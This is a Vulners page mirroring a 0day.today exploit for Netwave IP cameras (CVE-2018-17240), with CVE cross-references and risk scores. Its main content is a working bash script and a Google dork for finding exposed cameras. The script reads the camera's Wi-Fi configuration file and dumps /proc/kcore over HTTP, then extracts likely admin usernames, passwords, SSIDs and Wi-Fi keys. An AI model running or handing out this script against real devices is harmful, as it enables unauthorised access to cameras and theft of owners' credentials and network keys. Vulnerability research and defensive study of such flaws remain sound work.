Lucene search
K

Netwave IP Camera Secret Disclosure Exploit

🗓️ 08 Jan 2025 00:00:00Reported by FenrirSecType 
zdt
 zdt
🔗 0day.today👁 616 Views

Exploit for Netwave IP Camera reveals network settings and credentials via a script.

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2018-17240
6 Jan 202412:10
circl
CNNVD
Netwave IP camera 安全漏洞
10 Jun 202200:00
cnnvd
CVE
CVE-2018-17240
10 Jun 202217:03
cve
Cvelist
CVE-2018-17240
10 Jun 202217:03
cvelist
NVD
CVE-2018-17240
10 Jun 202218:15
nvd
Prion
Design/Logic Flaw
10 Jun 202218:15
prion
RedhatCVE
CVE-2018-17240
22 May 202503:21
redhatcve
#!/bin/bash

## Exploit Title: Netwave
## Google Dork: "Netwave security camera" "Live feed"
## Exploit Author: Jeremie Amsellem <jeremie(a)fenrir.pro>
## Version: No version specified by the vendor
## Tested on: Kali Linux
##
## Written by lp1 <jeremie(a)fenrir.pro>
##
## Run this exploit on a vulnerable Netwave Camera in order
## To dump the camera's network configuration and credentials
##
## The credentials "Possible Username" and "Possible Password"
## can be used to login onto the web interface.
##
## Usage : bash netwave_exploit.sh host port
##

KCORE_OUTPUT_FILE=".kcore_dump_strings"

function usage() {
    echo "Usage   : $0 host port"
    echo "Example : $0 192.168.1.69 81"
}

function print_line() {
    echo -e "~ [ $1 ] ~\n"
}

if [ "$#" -lt 1 ]; then
    usage
    exit 0
fi

CAM_HOST="$1:$2"

print_line "Retrieving Camera's Wi-Fi configuration from RT2870STA.dat"

CAM_WIFI_CONFIGURATION=$(curl http://$CAM_HOST//etc/RT2870STA.dat 2>/dev/null)

echo -e "$CAM_WIFI_CONFIGURATION \n"

print_line "Retrieving global configuration from get_status.cgi"

CAM_MAC=$(curl http://$CAM_HOST/get_status.cgi 2>/dev/null | grep id= | cut -d "'"  -f 2)

echo -e "Camera ID -" $CAM_MAC "\n"

print_line "Dumping camera ROM memory... (This might take a few minutes)"

curl http://$CAM_HOST//proc/kcore 2>/dev/null | strings >> $KCORE_OUTPUT_FILE

MAC_LINE=$(grep -ne "^$CAM_MAC\$" $KCORE_OUTPUT_FILE | head -n 1 | cut -d ':' -f 1)

MEM_LINES=$(tail -n +$MAC_LINE $KCORE_OUTPUT_FILE | head)

echo "Possible Username :" $(echo $MEM_LINES | cut -d ' ' -f 2)
echo "Possible Password :" $(echo $MEM_LINES | cut -d ' ' -f 3)
echo "Default SSID      :" $(echo $MEM_LINES | cut -d ' ' -f 4)
echo "Default PSK       :" $(echo $MEM_LINES | cut -d ' ' -f 5)
echo -e "\n"

print_line "Removing temporary memory dump"
rm -frv $KCORE_OUTPUT_FILE

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

08 Jan 2025 00:00Current
7.1High risk
Vulners AI Score7.1
CVSS 25
CVSS 3.17.5
EPSS0.4835
616